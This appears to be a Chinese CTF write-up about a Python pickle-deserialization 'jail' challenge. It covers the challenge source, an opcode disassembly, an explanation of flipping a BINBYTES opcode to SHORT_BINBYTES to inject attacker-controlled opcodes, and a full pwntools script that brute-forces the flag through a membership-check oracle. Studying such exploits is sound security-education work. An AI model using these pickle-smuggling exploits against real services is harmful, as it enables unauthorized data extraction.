这道题在比赛期间没解出来想去逃逸了.....盯了一天这里,赛后感觉来了复现一下,
源码分析
#!/usr/local/bin/python
from io import BytesIO
from os import _exit
from pathlib import Path
from pickle import Pickler, Unpickler
from sys import stderr, stdin, stdout
from time import time
from faker import Faker
Faker.seed(time())
fake = Faker("en_US")
flag = Path("flag").read_text()
def print(_):
stdout.buffer.write(f"{_}\n".encode())
stdout.buffer.flush()
def input(_=None, limit: int = -1):
if _:
print(_)
_ = stdin.buffer.readline(limit)
stdin.buffer.flush()
return _
def bye(_):
print(_)
players = [fake.unique.first_name().encode() for _ in range(50)]
print("Welcome to this jail game!")
print(f"Play this game to get the flag with these players: {players}!")
name = input("So... What's your name?", 300).strip()
assert name not in players, "You are already joined!"
print(f"Welcome {name}!")
players.append(name)
biox = BytesIO()
Pickler(biox).dump(
(
name,
players,
flag,
)
)
data = bytearray(biox.getvalue())
num = input("Enter a random number to win: ", 1)[0]
assert num < len(data), "You are not allowed to win!"
data[num] += 1
data[num] %= 0xFF
del name, players, flag
biox.close()
stderr.close()
try:
safe_dic = {
"__builtins__": None,
"n": BytesIO(data),
"F": type("f", (Unpickler,), {"find_class": lambda *_: "H4cker"}),
}
name, players, _ = eval("F(n).load()", safe_dic, {})
if name in players:
del _
print(f"{name} joined this game, but here is no flag!")
except Exception:
print("What happened? IDK...")
finally:
bye("Break this jail to get the flag!")
简单分析下就是通过传入的name数据,来与随机生成的players以及flag字段进行一个生成pickle数据流,后面接受一个字节并转换成ascill码进行作为int去转把某个字节一位进行+1操作
最后在自定义的一个环境里面进行pickel反序列化的操作,并把最后弹出的内容进行一个赋值,并最后对name进行一个输出,由于这里重写了find_class方法触发就返回H4cker并设定builtins为空,栈帧逃逸也被pass了
由于需要了解下他的序列化结构是什么我们这这里通过pickletools来分析,便于调试我顺便把data数据流修改前修改后的数据一起打出了
first data: bytearray(b'\x80\x04\x95\xf0\x01\x00\x00\x00\x00\x00\x00C\x03abc\x94]\x94(C\x07Annette\x94C\x05Heidi\x94C\x04Anne\x94C\x05Allen\x94C\x06George\x94C\x05Jason\x94C\x04Eric\x94C\x05Chase\x94C\x07Stephen\x94C\x05Julie\x94C\x04Anna\x94C\x06Robert\x94C\x05Emily\x94C\x08Michaela\x94C\tCatherine\x94C\x07Barbara\x94C\x06Ashley\x94C\x08Michelle\x94C\x04Jeff\x94C\x07William\x94C\x07Whitney\x94C\x05James\x94C\x07Melissa\x94C\x05Laura\x94C\x07Matthew\x94C\x04Dana\x94C\x05Randy\x94C\x08Victoria\x94C\x06Amanda\x94C\x04Seth\x94C\x04Alan\x94C\x06Joseph\x94C\x06Gerald\x94C\x05Erica\x94C\x06Steven\x94C\x07Heather\x94C\x06Dennis\x94C\x04Mary\x94C\x05Kevin\x94C\x04John\x94C\x05Caleb\x94C\x05Diana\x94C\x07Vanessa\x94C\x05Ethan\x94C\x07Phillip\x94C\x05Jacob\x94C\x07Crystal\x94C\x05Karen\x94C\x07Tiffany\x94C\x05Penny\x94h\x00e\x8c*flag{123e4567-e89b-12d3-a456-426614174000}\x94\x87\x94.')
new data: bytearray(b'\x80\x04\x95\xf0\x01\x00\x00\x00\x00\x00\x00C\x03abc\x94]\x94(C\x07Annette\x94C\x05Heidi\x94C\x04Anne\x94C\x05Almen\x94C\x06George\x94C\x05Jason\x94C\x04Eric\x94C\x05Chase\x94C\x07Stephen\x94C\x05Julie\x94C\x04Anna\x94C\x06Robert\x94C\x05Emily\x94C\x08Michaela\x94C\tCatherine\x94C\x07Barbara\x94C\x06Ashley\x94C\x08Michelle\x94C\x04Jeff\x94C\x07William\x94C\x07Whitney\x94C\x05James\x94C\x07Melissa\x94C\x05Laura\x94C\x07Matthew\x94C\x04Dana\x94C\x05Randy\x94C\x08Victoria\x94C\x06Amanda\x94C\x04Seth\x94C\x04Alan\x94C\x06Joseph\x94C\x06Gerald\x94C\x05Erica\x94C\x06Steven\x94C\x07Heather\x94C\x06Dennis\x94C\x04Mary\x94C\x05Kevin\x94C\x04John\x94C\x05Caleb\x94C\x05Diana\x94C\x07Vanessa\x94C\x05Ethan\x94C\x07Phillip\x94C\x05Jacob\x94C\x07Crystal\x94C\x05Karen\x94C\x07Tiffany\x94C\x05Penny\x94h\x00e\x8c*flag{123e4567-e89b-12d3-a456-426614174000}\x94\x87\x94.')
如上我们可以看到这里输入的1被转换成了ascii码并在第49位的字节进行了+1的操作
再看看pickel数据流结构
0: \x80 PROTO 4
2: \x95 FRAME 496
11: C SHORT_BINBYTES b'abc'
16: \x94 MEMOIZE (as 0)
17: ] EMPTY_LIST
18: \x94 MEMOIZE (as 1)
19: ( MARK
20: C SHORT_BINBYTES b'Annette'
29: \x94 MEMOIZE (as 2)
...
...
455: \x94 MEMOIZE (as 51)
456: h BINGET 0
458: e APPENDS (MARK at 19)
459: \x8c SHORT_BINUNICODE 'flag{123e4567-e89b-12d3-a456-426614174000}'
503: \x94 MEMOIZE (as 52)
504: \x87 TUPLE3
505: \x94 MEMOIZE (as 53)
506: . STOP
中间的省略号就是存在playes里面的用户名数据
首先第一个是我们传入的name被赋值给了C指令并以\x94指令作为标记为0,同时压入一个列表对象储存在1,之后利用( 指令进行标记后面的对象
直到
h BINGET 0:从位置 0 获取对象(b'abc')。
e APPENDS (MARK at 19):将标记开始后的所有对象............追加到空列表中后面是flag的储存
关键点在
\x87 TUPLE3:创建一个包含三个元素的元组并弹出
也就是我们name, players, _ = eval("F(n).load()", safe_dic, {})所进行的赋值操作
总的来说也就是这个 pickle 数据流序列化了一个包含三个元素的元组,其中第一个元素是 b'abc',第二个元素是一个包含 b'Annette' 和 b'abc' 的列表,第三个元素是字符串 'flag{123e4567-e89b-12d3-a456-426614174000}'
测试
分析完毕,由于我们发现我们可以控制255内一个字节+1这个关键点但是题目限制我们name只能传入300个字符,我们压测一下
发现盲点,这里的控制name的指令变成了B我们需要了解下这两个指令
BINBYTES = b'B' #先读取4字节数据通过unpack使用<i格式将数据解压,将得到的结果作为大小向后读取相应字节数,然后将读取到的全部字节压栈b'B\x06\x00\x00\x00h0cksr.' => b'S1nKk'
SHORT_BINBYTES = b'C' #读取一个字节,以它的16进制数作为大小向后读取对应字节的数据
由于C指令最大数据长度是254,更大就会变成B指令,我们联想到我们可以控制pickle数据255内任意+1,这里假如我们传入的是B但是修改为C会发生什么,测试一下,把B改成C指令的对应num是11也就是\x0B
终端不行pwntools可以,我这里手动赋值
根据调试信息可得如上,修改了之类后在pickletools.dis显示的是读取了\x18字节后后面的内容就成为了新的指令集,不再成为参数实现了逃逸,当我们可以任意控制数据的时候这里由于后面限定了不可逃逸环境,所以我们必须要从其他方面入手,下一个关键点在
那么加入players里面存在flag数据,我们就可以根据这个操作来进行获取flag并能输出
如何控制呢
由于我们已经可以自己控制一部分的数据流了对于整个pickle数据里面一共也就800位字节,B指令的可控长度远超800字节,那我们思路来了
通过自定义B指令让B指令进行一个把后面我们填充的数据以及整个原来的players数据包括flag数据全部吃掉,作为第二个元组的参数,第一个是可控的name变量,但是由于最后需要3个对象来组成一个元组,所以导致有点问题,但是出题人告诉了flag是flag{UUID-4},而恰好}指令在整个pickel数据流里面进行压入一个空字典
这样我们只需要去控制利用B指令集去吃掉最后flag的}之前的数据把}作为一个指令排出去,实现一个构造题目所需数据,测试如下
确实可以把最后的flag储存在B指令集里,但是怎么对flag进行验证会报错,因为对于我们把B修改为C的指令会吃掉B指令残留的第一个16进制代表的长度的数据,导致我们弹出的数据会有问题,没办法对flag进行一个校验,这时候需要知道的是
\x87 TUPLE3这个指令进行获取的对象是从( MARK:标记开始到TUPLE3里面的对象
这样我们只需要进行一个手动的mark标记并把我们想要校验的flag数据进行给一个新的指令对象C/B都可以
这里的数据需要自己调试下,不断用dis来看原指令集接受的参数即可,最后成上图那样即可进行校验,经过计算我们输入的name数据只需要260位即可进行反序列化赋值
实践
编写脚本需要注意以下问题,
1.由于验证的flag位数增加,为了保证260位长度后面B字节填充的数据应当减少一个同时让验证flag的指令集接受参数多一位
2.获取data长度的时候需要我们自己获取随机生成的players数据
3.flag位数不能>=10因为第10位对应的10进制是\n会导致我们发送的数据由于换行被提前截断导致出现问题
4.调试完成需要关闭pickle.dis由于只要能正常弹出数据即可,由于我们篡改的数据有问题会导致pickletools没办法正常退出导致没办法到后面的正确赋值(被坑惨了....)
对于想要获取生成的随机players的长度,本地题调试一下即可
可以利用
Pickler(biox).dump(
(
players_list,
)
)
来生成
flag位数的话个人是利用中间变量去进行替换的效果,最后的exp如下,如有差池稍作修改即可
from pickle import Pickler
from pwn import *
context.log_level = 'DEBUG'
dict="1234567890abcdef-"
finalflag = "flag{"
flagres = "flag{"
quit = 0
while True:
for i in dict:
conn = remote('127.0.0.1', 5555)
print(conn.recvline().decode())
#获取下面的players的所有的用户的长度便于后面进行计算
players_message = conn.recvline().decode()
print(conn.recvline().decode())
players_list_start = players_message.find('[')
players_list_end = players_message.find(']') + 1
players_list = players_message[players_list_start:players_list_end]
print(players_list)
biox = BytesIO()
Pickler(biox).dump(
(
players_list,
)
)
#计算后面需要利用B操作码的长度
data = bytearray(biox.getvalue())
paddingdata = b"1" * (244 - quit)
len1=len(data)+len(paddingdata)-70
bytes_length = len1.to_bytes(4, byteorder='little')
#进行爆破的flag
testflag = flagres + i
print("testflagres",testflag)
length = len(testflag)
#由于10位进行转换的是\n这个字符利用pwntools发送会导致发送失败
if length == 10:
flagres = flagres[1:]
testflag = testflag[1:]
length = len(testflag)-1
#构造payload其中的bytes([length])的是flag的长度bytes_length是B操作码的长度
name = b'\x94(C' + bytes([length]) + testflag.encode() + b'\x94B' + bytes_length + paddingdata
conn.sendline(name)
print(conn.recvline().decode())
print(conn.recvline().decode())
#发送一个11来进行修改B操作字节码到C操作字节码实现逃逸
conn.sendline(b'\x0b')
print(conn.recvline().decode())
print(conn.recvline().decode())
res = conn.recvline().decode()
print("res", res)
#判断flag是否进行了修改并且进行输出
if "joined this game, but here is no flag!" in res:
finalflag +=i
print("finalflag:", finalflag)
flagres +=i
if len(finalflag) > 35:
print("finalflag:",finalflag)
if len(finalflag) == 41:
exit()
if quit < 3:
quit+=1
print("flagres",flagres)
break
else:
print("flagres", flagres)
continue
conn.close()
感觉挺有意思的,以前一直都没去细看过指令集,这次算是看过了